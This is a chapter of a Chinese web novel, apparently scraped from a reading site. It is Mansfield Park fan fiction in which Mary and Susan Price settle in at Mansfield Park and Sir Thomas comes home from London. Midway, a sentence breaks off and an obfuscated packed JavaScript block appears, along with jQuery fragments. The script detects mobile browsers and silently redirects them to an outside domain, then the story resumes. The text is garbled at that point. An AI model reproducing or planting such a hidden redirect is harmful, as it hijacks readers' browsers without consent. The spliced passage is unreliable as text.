默认冷灰
24号文字
方正启体

34.第 34 章

作者:南华子本书字数:K更新时间:
    “玛丽,我真不敢想象,这栋屋子居然这么大,你看到起居室那个华丽的瓷器屏风了吗?比理查德从东方带回来的那个青白色的花瓶可精致美丽多了。”趁带路的仆人不注意,苏珊偷偷在玛丽的耳边说道。


    “我看到了,那是广彩瓷,和青花素雅的风格本来就不一样。我还是更喜欢理查德带给我们的那个,因为那是属于我的。”


    玛丽用欣赏的目光看着走廊和楼梯两侧挂着的画像、屋顶悬挂的烛台形吊灯、金碧辉煌的家具陈设。


    这间大宅子满足了玛丽穿越前对英国摄政年代的想象,她仿佛进入了一场光怪陆离、五光十色的梦境。但是当梦境回到现实,她只是一个中尉的女儿,并不是这间大宅的主人。


    在仆人领着她和苏珊参观的时候,她仿佛看到了多年前的范妮——一个怯懦害羞的小女孩刚刚来到这里时是怎样时时留心、处处注意的,寄人篱下的滋味可不好受,从这点来说,一直待在普莱斯家也没那么糟。


    她们一直走到伯特伦夫人安排给她和苏珊的房间,等放好了行李,两个人环视着这间屋子,这比她们在朴茨茅斯的房间大太多了,窗户的采光也比朴茨茅斯的房间好多了。


    当苏珊看到女仆把她们的衣服挂到衣架上的时候,心里有些自卑。因为姐妹俩一直省吃俭用,这次来曼斯菲尔德庄园也没有多少体面像样的衣服可以带过来的,两个人的衣服都没有能够把衣架挂满。她担心女仆在嘲笑她们寒酸,不过等她拿出自己那个小箱子,想到这里面有一百多镑,终于重新自信起来。


    玛丽则坦然地把自己的洗漱用品拿了出来,请女仆倒了盆水,先洗了洗脸,略微收拾了收拾,等女仆告诉她们主人喊她们去餐厅用晚餐的时候,至少从面色上姐妹俩已经看不出劳累的迹象。


    这顿晚餐至少有五个人都食不下咽:伯特伦夫人想到那件事就难受,时不时长吁短叹;汤姆还没有完全恢复就遭遇妹妹私奔的打击,现在没法吃什么东西;埃德蒙完全吃不下去,机械地招呼着大家;诺里斯太太全程心不在焉;范妮既要忙着安慰伯特伦姨妈,又要观察埃德蒙表哥。


    只有玛丽和苏珊在享受美食,玛丽甚至还有心情评判曼斯菲尔德厨子的手艺,有几道菜做得过分油腻实在不合她的胃口。


    吃过晚餐,范妮继续伺候伯特伦姨妈,两个妹妹她一时半会儿是顾不上的,但是玛丽的性格和范妮并不同。她没有表现出初到大宅的拘谨,很自然地问姨妈浴室在哪里,一路上风尘仆仆,她觉得自己身上有些泥垢了,非常期待能够好好洗个澡。


    “哦,玛丽,你要洗澡,这样不会让身体生病吗?我认为你看上去完全不脏,没有什么洗澡的必要。”伯特伦夫人是老派思想,她认为洗澡时病菌会从毛孔里进入,为了外甥女的健康还是别洗的好。


    谁知玛丽一再坚持,表示她已经咨询过医生,经常洗澡对她的身体反而有益,请姨妈放心。伯特伦夫人最终还是没能拒绝漂亮外甥女的请求,她还问了问另一个外甥女:“苏珊,你需要洗澡吗?”


    苏珊并不像姐姐那样对洗澡过分坚持,玛丽就算在朴茨茅斯都坚持每天擦洗呢,普莱斯太太也只当这是女儿的“怪癖”,她摇了摇头,因为旅途劳累被埃德蒙表哥派仆人先领去房间休息了。


    玛丽毫不畏缩的处事态度让诺里斯太太更加不快,她本来就把范妮视为制造这起祸端的恶魔,玛丽和苏珊这两个穷酸外甥女更是她的敌人,被她视为打探情报的间谍,是恬不知耻的小偷!现在这两个人居然在曼斯菲尔德享受着自己不该享受的一切,玛丽居然还不满足,还敢提出要求。


    “她那是什么态度?她以为自己是谁,莫非认为玛丽亚和茱莉娅出了事,她就能够替代两位表姐吗?”诺里斯太太从见到玛丽起,就对她比对范妮还要讨厌,玛丽的落落大方在她眼里是故作姿态,玛丽的举止优雅在她想来是矫揉造作,她长得这么漂亮,那更不行,简直是魔鬼特地派来迷惑汤姆和埃德蒙两兄弟的。


    不过,诺里斯太太的指责没有一个人去附和,在伯特伦夫人眼里玛丽、苏珊是范妮的妹妹,就有权利住在曼斯菲尔德,现在玛丽只是要洗个澡,有什么关系呢?汤姆根本不可能去为难两个可爱的小表妹,埃德蒙一路陪她们回到曼斯菲尔德,心里把两个小表妹也当做自己的妹妹看待。


    玛丽可看不到诺里斯姨妈的歇斯底里,她让女仆帮她把浴缸加满热水,好好地享受了一番泡澡的乐趣,当女仆收到玛丽小姐给的赏钱时还有些惊讶呢。这天晚上,姐妹俩都睡得非常舒服,旅途的疲惫被一扫而空。


    就这样,玛丽和苏珊安心在曼斯菲尔德庄园住下了,庄园里的其他人都有着满腔的心事,谁也没有心思去照顾两个姑娘。


    但是脱离了朴茨茅斯的吵闹,卸下了管理家务的重担,暂别了处理生意的繁杂,玛丽和苏珊得以尽情享受无忧无虑的少女时光,她们还真是快活。姨父托马斯爵士还没有从伦敦回来,姨妈伯特伦夫人和蔼可亲,诺里斯太太态度冷淡带来的那点小问题连苏珊都没有放在心上。


    玛丽把时间都消耗在了曼斯菲尔德庄园的书房,这里面有很多她过去在流动图书馆、普通书店里找不到的书。她简直高兴疯了,现阶段拥有一个这样的藏书室对于她来说是不可能实现的梦想,能够在曼斯菲尔德自由选择书籍对于一个平时缺乏文化娱乐的朴茨茅斯姑娘实在太重要了,托马斯爵士的全套《不列颠百科全书》令她着迷,那些讲述贵族纹章、历史的系谱学书籍令她好奇……


    而苏珊呢,这段时间她忙着探□□斯菲尔德的屋子和庭院,那些


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672504|171966||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    被范妮盛赞过的景色让她陶醉,庭院里有很多苏珊从来没有见过的花草。她主动为伯特伦姨妈剪来花园里的玫瑰,得到姨妈赞赏的微笑。


    苏珊过去从来没有从普莱斯太太那得到过母爱,现在在姨妈面前被这样温柔对待,让她更加愿意地为伯特伦姨妈和范妮做些力所能及的事。


    等到托马斯爵士终于从伦敦回来了,仆人看到爵士的马车后到屋子里通报了这个消息,伯特伦夫人、两个表哥、诺里斯太太、范妮、玛丽和苏珊都赶到起居室迎接他。


    因此玛丽第一时间见到了姨父,托马斯爵士年纪已经不轻,这段时间接连的打击令他憔悴不少,他眉头紧锁,看上去一脸严肃,和玛丽的教父马克斯韦尔将军给人的感觉完全不同。他一进来就看向两个儿子,在看到范妮时脸上挤出了一个微笑,对来做客的两个外甥女他也表示了欢迎。


    大表哥汤姆在埃德蒙的陪伴下,在两个妹妹出了那样的事情后终于学会了反思,托马斯爵士回来后惊喜地发现大儿子这段时间渐渐恢复了健康,那些过去的坏毛病并没有一同恢复过来,他开始学会为他人着想,这是做父亲的近来得到的最好消息。


    另一个儿子埃德蒙也令他欣慰,有范妮一直陪伴他散心,他的忧郁状态得到了改善,托马斯爵士有理由相信儿子很快就能够从失恋的打击中恢复过来。


    另一件让托马斯爵士略微宽心的事情是二女儿茱莉娅的婚事。这次在伦敦,他发现她和耶茨先生的婚事没有他一开始想的那么糟糕。这位先生对自己的情况还算有数,他一心巴望着得到岳父的接纳,把自己的情况向爵士交待的清清楚楚。


    他依然不是爵士理想中的女婿,但是他的债务比爵士一开始想象的要少,地产也比他最初以为的要多,也愿意接受爵士的指点和帮助。茱莉娅的愚蠢让她得到了一桩不那么恰当的婚姻,但是不幸中的万幸,她的丈夫还不算是糟糕透顶。


    玛丽亚面临的情况和妹妹完全不同,事情已经传得沸沸扬扬,不是托马斯爵士的朋友能够压制得了的,等爵士赶到伦敦也无济于事。做父亲前段时间留在伦敦完全是想要尽快找到女儿,不至于让她落到更堕落不堪的境地,然而这个愿望也没有达成,玛丽亚一心要和克劳福德先生在一起,她还指望着这个男人娶她。


    等到这个愿望彻底破灭,她和克劳福德先生互相折磨了一段时间,最终分开的时候双方心里都只剩下怨恨。拉什沃思先生没费什么力气就离了婚,玛丽没见过这个可怜的男人,但是她对这位先生的愚蠢早有了解,范妮的言语和托马斯爵士的悔恨不过是进一步证实了这点。她心里想着,就算拉什沃思先生将来再结一次婚,估计也只会遇到另一个“玛丽亚”罢了。


    在这对夫妻离婚后,玛丽亚住到哪儿去成了一个问题。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)